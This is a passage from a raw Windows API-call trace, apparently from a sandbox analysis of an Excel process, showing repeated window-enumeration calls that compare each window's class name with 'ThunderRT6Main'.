nIndex=-6) returned 0x13f4a0000 [0128.184] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0128.184] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.184] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.184] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.184] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0128.184] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0128.184] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0128.184] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0128.184] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.184] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.184] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.184] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0128.184] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0128.184] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0128.184] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0128.184] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.184] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.184] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.184] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0128.184] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0128.184] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0128.184] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0128.184] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.184] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.184] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.184] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0128.184] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0128.184] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0128.184] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x20296 [0128.184] GetClassNameA (in: hWnd=0x20296, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0128.184] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0128.185] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0128.185] GetWindow (hWnd=0x20296, uCmd=0x2) returned 0x20292 [0128.185] GetClassNameA (in: hWnd=0x20292, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.185] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.185] GetWindowThreadProcessId (in: hWnd=0x20292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0128.185] GetWindow (hWnd=0x20292, uCmd=0x2) returned 0x20280 [0128.185] GetClassNameA (in: hWnd=0x20280, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0128.185] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0128.185] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb60 [0128.185] GetWindow (hWnd=0x20280, uCmd=0x2) returned 0x202c2 [0128.185] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.185] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.185] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.185] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0128.185] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0128.185] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0128.185] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0128.185] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.185] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -1946157056 [0128.185] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0128.185] IsWindowEnabled (hWnd=0x202cc) returned 0 [0128.185] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0128.185] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0128.185] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0128.185] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0128.185] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.185] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.185] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.185] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0128.185] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0128.185] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.186] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.186] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.186] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0128.186] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0128.186] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0128.186] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0128.186] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.186] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.186] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.186] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0128.186] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0128.186] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0128.186] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0128.186] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.186] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.186] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.186] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0128.186] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0128.186] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0128.186] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0128.186] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.186] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.186] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.186] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0128.186] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0128.186] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0128.186] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0128.186] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.187] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.187] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.187] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0128.187] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0128.187] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0128.187] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0128.187] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0128.187] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0128.187] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0128.187] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0128.187] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0128.187] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0128.187] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.187] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0128.187] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0128.187] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0128.187] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0128.187] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0128.187] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0128.187] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.187] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0128.187] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0128.187] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0128.188] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0128.188] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.188] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.188] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.188] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0128.188] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0128.188] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0128.188] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0128.188] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.188] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.188] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.188] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0128.188] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0128.188] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0128.188] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0128.188] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.188] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.188] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.188] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0128.188] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0128.188] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0128.188] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0128.188] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0128.188] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0128.188] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.188] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0128.189] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0128.189] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0128.189] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0128.189] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0128.189] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0128.189] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.189] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0128.189] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0128.189] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0128.189] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0128.189] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0128.189] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0128.189] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0128.189] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0128.189] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0128.189] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0128.189] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.189] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0128.189] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0128.189] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0128.189] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0128.189] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.189] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.189] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0128.189] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0128.189] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0128.189] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0128.189] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0128.189] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0128.189] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0128.189] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0128.189] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.189] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0128.189] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0128.189] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0128.189] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0128.190] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.190] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.190] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.190] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0128.190] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0128.190] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0128.190] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0128.190] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0128.190] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0128.190] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0128.190] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0128.190] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0128.190] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0128.190] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0128.190] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.190] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.190] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0128.190] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0128.190] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0128.191] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0128.191] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0128.191] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.191] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0128.191] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0128.191] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0128.191] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0128.191] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0128.191] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.191] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0128.191] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0128.191] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0128.191] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0128.191] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0128.191] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.191] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0128.191] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0128.191] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0128.191] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0128.191] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0128.191] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.191] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0128.191] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0128.191] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0128.191] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0128.191] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0128.192] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0128.192] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.192] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0128.192] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0128.192] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0128.192] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0128.192] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0128.192] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.192] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0128.192] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0128.192] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0128.192] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0128.192] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0128.192] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.192] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0128.192] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0128.192] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0128.192] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0128.192] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0128.192] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.192] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0128.192] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0128.192] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0128.192] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0128.192] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0128.192] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0128.192] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.192] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x56c [0128.193] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0128.193] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="saferwin") returned 8 [0128.193] lstrcmpA (lpString1="saferwin", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0128.193] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0128.193] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0128.193] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0128.193] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0128.193] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0128.193] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="fancyInitiallywindow") returned 20 [0128.193] lstrcmpA (lpString1="fancyInitiallywindow", lpString2="ThunderRT6Main") returned -1 [0128.193] 